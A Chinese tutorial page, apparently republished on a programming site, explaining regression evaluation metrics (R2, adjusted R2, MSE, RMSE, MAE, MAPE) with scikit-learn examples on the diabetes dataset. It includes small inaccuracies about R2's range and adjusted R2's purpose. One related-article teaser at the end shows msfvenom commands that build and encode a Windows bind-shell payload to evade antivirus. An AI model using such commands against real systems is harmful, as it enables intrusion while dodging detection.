【机器学习技巧】回归模型的几个常用评估指标(R2、Adjusted-R2、MSE、RMSE、MAE、MAPE)及其在sklearn中的调用方式

news2024/11/16 20:23:59

目录

  • 回归模型评估的两个方面
    • 1. 预测值的拟合程度
    • 2. 预测值的准确度
  • 以糖尿病数据集的回归模型为计算示例-计算各指标
  • 1. 决定系数R2
    • 1.1 R2求解方式一----从metrics调用r2_socre
    • 1.2 R2求解方式二----从模型调用score
    • 1.3 R2求解方式二----交叉验证调用scoring=r2
  • 2. 校准决定系数Adjusted-R2
  • 3.均方误差MSE(Mean Square Error)
  • 4.均方根误差RMSE(Root Mean Square Error)
  • 5.平均绝对误差MAE(Mean Absolute Error)
  • 6. 平均绝对百分比误差MAPE(Mean Absolute Percentage Error)

回归模型评估的两个方面

回归模型的评估主要有以下两个方面:

1. 预测值的拟合程度

拟合程度就是我们的预测值是否拟合了足够的信息。在回归模型中,我们经常使用决定系数R2来进行度量。

2. 预测值的准确度

准确度指预测值与实际真实值之间的差异大小。常用均方误差(Mean Squared Error, MSE),平均绝对误差(Mean Absolute Error, MAE),平均绝对百分比误差MAPE来度量。

下面我们对这几个评估指标进行介绍,以及其在sklearn中如何使用。

以糖尿病数据集的回归模型为计算示例-计算各指标

# 导入线性回归器算法模型
from sklearn.linear_model import LinearRegression 
import numpy as np
#糖尿病数据集 ,训练一个回归模型来预测糖尿病进展
from sklearn import datasets
dia = datasets.load_diabetes()
# 提取特征数据和标签数据
data = dia.data
target = dia.target
# 训练样本和测试样本的分离,测试集20%
from sklearn.model_selection import train_test_split
x_train,x_test,y_train,y_test = train_test_split(data,target,test_size=0.2)
# 创建线性回归模型
linear = LinearRegression()
# 用linear模型来训练数据:训练的过程是把x_train 和y_train带入公式W = (X^X)-1X^TY求出回归系数W
linear.fit(x_train,y_train)
# 对测试数据预测
y_pre = linear.predict(x_test)

1. 决定系数R2

R2( Coefficient of determination):决定系数,反映的是模型的拟合程度,R2的范围是0到1。其值越接近1,表明方程的变量对y的解释能力越强,这个模型对数据拟合的也较好。

在这里插入图片描述

1.1 R2求解方式一----从metrics调用r2_socre

from sklearn.metrics import r2_score
r2 = r2_score(y_true=y_test,y_pred=y_pre)
r2
0.5439247940652986

1.2 R2求解方式二----从模型调用score

r2 = linear.score(x_test,y_test)
r2
0.5439247940652986

1.3 R2求解方式二----交叉验证调用scoring=r2

from sklearn.model_selection import cross_val_score
r2 = cross_val_score(linear,x_test,y_test,cv=10,scoring="r2").mean()  # 求的值n次交叉验证后r2的均值
r2
0.3803655235719364

2. 校准决定系数Adjusted-R2

校正决定系数是指决定系数R可以用来评价回归方程的优劣,但随着自变量个数的增加,R2将不断增大。Adjusted-R2主要目的是为了抵消样本数量对R2的影响。

在这里插入图片描述

其中,n为样本数量,p为特征数量。即样本为n个[ x1, x2, x3, … , xp, y ]。取值也是越接近1越好。

n, p = x_test.shape
adjusted_r2 = 1 - ((1 - r2) * (n - 1)) / (n - p - 1)
adjusted_r2
0.300925206081159

3.均方误差MSE(Mean Square Error)

均方误差(Mean Square Error, MSE):是真实值与预测值的差值的平方,然后求和的平均,一般用来检测模型的预测值和真实值之间的偏差

在这里插入图片描述

from sklearn.metrics import mean_squared_error
mean_squared_error(y_test,y_pre)#y_test为实际值,y_pre为预测值
2658.8312775325517

4.均方根误差RMSE(Root Mean Square Error)

均方根误差(Root Mean Square Error, RMSE):即均方误差开根号,方均根偏移代表预测的值和观察到的值之差的样本标准差

在这里插入图片描述

from sklearn.metrics import mean_squared_error
np.sqrt(mean_squared_error(y_test,y_pre))#y_test为实际值,y_pre为预测值
51.563856309750065

5.平均绝对误差MAE(Mean Absolute Error)

平均绝对误差(Mean Absolute Error, MAE):是绝对误差的平均值,可以更好地反映预测值误差的实际情况

在这里插入图片描述

from sklearn.metrics import mean_absolute_error
mean_absolute_error(y_test,y_pre)#y_test为实际值,y_pre为预测值
42.09538057884898

6. 平均绝对百分比误差MAPE(Mean Absolute Percentage Error)

平均绝对百分比误差(Mean Absolute Percentage Error,MAPE):是相对误差度量值,它使用绝对值来避免正误差和负误差相互抵消,可以使用相对误差来比较各种时间序列模型预测的准确性。理论上,MAPE 的值越小,说明预测模型拟合效果越好,具有更好的精确度。

在这里插入图片描述

from sklearn.metrics import mean_absolute_percentage_error
mean_absolute_percentage_error(y_test,y_pre)#y_test为实际值,y_pre为预测值
0.4062288709549193

如果内容对你有帮助,感谢点赞+关注哦!

更多干货内容持续更新中…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/22848.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】第十三章 多线程(线程互斥+线程安全和可重入+死锁+线程同步)

🏆个人主页:企鹅不叫的博客 ​ 🌈专栏 C语言初阶和进阶C项目Leetcode刷题初阶数据结构与算法C初阶和进阶《深入理解计算机操作系统》《高质量C/C编程》Linux ⭐️ 博主码云gitee链接:代码仓库地址 ⚡若有帮助可以【关注点赞收藏】…

第四章 使用Vitepress搭建文档网站

第四章 使用Vitepress搭建文档网站 文档建设一般会是一个静态网站的形式 ,这次采用 Vitepress 完成文档建设工作。 Vitepress 是一款基于Vite 的静态站点生成工具。开发的初衷就是为了建设 Vue 的文档。Vitepress 的方便之处在于,可以使用流行的 Markd…

交换综合实验以及链路聚合和VRRP

1. MSTP针对RSTP做了哪些改进?请详细说明 在划分VLAN的网络中运行RSTP/STP。局域网内的所有VLAN共享一棵生成树,被阻塞后的链路将不再承载任何流量。无法在VLAN间实现数据流量的负载均衡;导致带宽利用率、设备资源利用率较低 (1&…

基于KPCA 和 STFT 非侵入式负荷监控(Matlab代码实现)

👨‍🎓个人主页:研学社的博客 💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜…

免杀技术实际演示

生成反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows…

String的compareTo()方法使用场景介绍及全量ASCII 码表(完整版)

String的compareTo方法使用场景介绍及全量ASCII 码表(完整版)一、介绍二、compareTo()使用场景场景一:数值型字符串比较场景二:排序比较场景三:对相同结构的日期比较三、源码分析四、全量ASCII 码表(完整版…

[前端基础] JavaScript 基础篇(上)

JavaScript的标准是 ECMAScript 。截至 2012 年,所有浏览器都完整的支持ECMAScript 5.1,旧版本的浏览器至少支持 ECMAScript 3 标准。2015年6月17日,ECMA国际组织发布了 ECMAScript 的第六版,该版本正式名称为 ECMAScript 2015&am…

steam搬砖项目全面讲解,月入8000+

哈喽大家好,我是阿阳 今天给大家分享CSGO搬砖项目,这个是最为稳定利润可观的项目,一个月净赚3万 阿阳网络创始人,8年互联网项目实战经验,个人ip打造【玩赚steam,3年买2套房】国外steam游戏搬砖&#xff08…

[附源码]java毕业设计文档管理系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

Java中Callable和Future

Java中为什么需要Callable 在java中有两种创建线程的方法: 一种是继承Thread类,重写run方法: public class TestMain {public static void main(String[] args) {MyThread t1 new MyThread();t1.start();} } class MyThread extends Thre…

值得学习的Linux内核锁(一)

在linux系统当中存在很多独占性的资源,他在同一个时间只能被一个进程使用。常见的有打印机、内存或者系统内部表现等资源。如果打印机同时被两个进程使用,打印结果就会混乱输出结果;如果一个内存资源被多个进程同时修改,进程实际的…

【Hack The Box】linux练习-- Networked

HTB 学习笔记 【Hack The Box】linux练习-- Networked 🔥系列专栏:Hack The Box 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 📆首发时间:🌴2022年11月17日🌴 &#x…

Java多线程从基本概念到精通大神,大佬给我们铺平学习之路

Java 提供了多线程编程的内置支持,让我们可以轻松开发多线程应用。 Java 中我们最为熟悉的线程就是 main 线程——主线程。 一个进程可以并发多个线程,每条线程并行执行不同的任务。线程是进程的基本单位,是一个单一顺序的控制流,…

常见的限流算法与实现

限流的实现 常见的限流算法: 限流是对某一时间窗口内的请求数进行限制,保持系统的可用性和稳定性,防止因流量暴增而导致的系统运行缓慢或宕机。 常见的限流算法有三种: 计数器限流(固定窗口) 原理: 时间线划分为多…

Dubbo3.0入门-Java版

Dubbo 简介 ​ Apache Dubbo 是一款 RPC 服务开发框架,用于解决微服务架构下的服务治理与通信问题,官方提供了 Java、Golang 等多语言 SDK 实现。使用 Dubbo 开发的微服务原生具备相互之间的远程地址发现与通信能力, 利用 Dubbo 提供的丰富服…

【软件测试】测试人终将迎来末路?测试人的我35岁就坐等失业?

目录:导读一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜)一句话萦绕在耳畔测试乃至测开…

02 LaTex之小tips

1.运行 2.头+尾 \documentclass[11pt]{article}\usepackage{algorithm, algpseudocode} \usepackage{amsmath,amssymb,amsthm} \usepackage{mathrsfs}% huaxie zimu \textwidth 16cm\textheight 22cm\oddsidemargin0cm\evensidemargin\oddsidemargin\usepackage{un…

Java#17(static)

目录 一.静态关键字static 1.静态变量(被static修饰的成员变量) 2.静态方法(被static修饰的成员方法) 扩展:工具类的简单使用 三.static关键字的注意事项 一.静态关键字static 1.静态变量(被static修饰的成员变量) 特点: (1)被该类的所有对象共享 (2)不属于对象,属于类 (3)…

版权交易平台app开发,构建版权元宇宙生态

近年来在国家的大力宣传推广下,人们在版权方面的保护意识逐步提高,大力发展版权交易市场,不仅是响应国家号召的体现,更是保护公民合法权益的重要举措。版权交易平台app的开发为创业者提供了一个全新投资方向,同时app还…

带你认识工厂类设计模式——简单工厂工厂方法抽象工厂简单抽象工厂反射简单抽象工厂

工厂类设计模式简单工厂模式简单工厂模式类图简单工厂实现代码实现小结工厂方法模式工厂方法模式类图工厂方法模式代码实现小结抽象工厂模式抽象工厂模式类图抽象工厂模式代码实现小结:用简单工厂改进抽象工厂模式简单抽象工厂模式类图简单抽象工厂模式代码实现小结…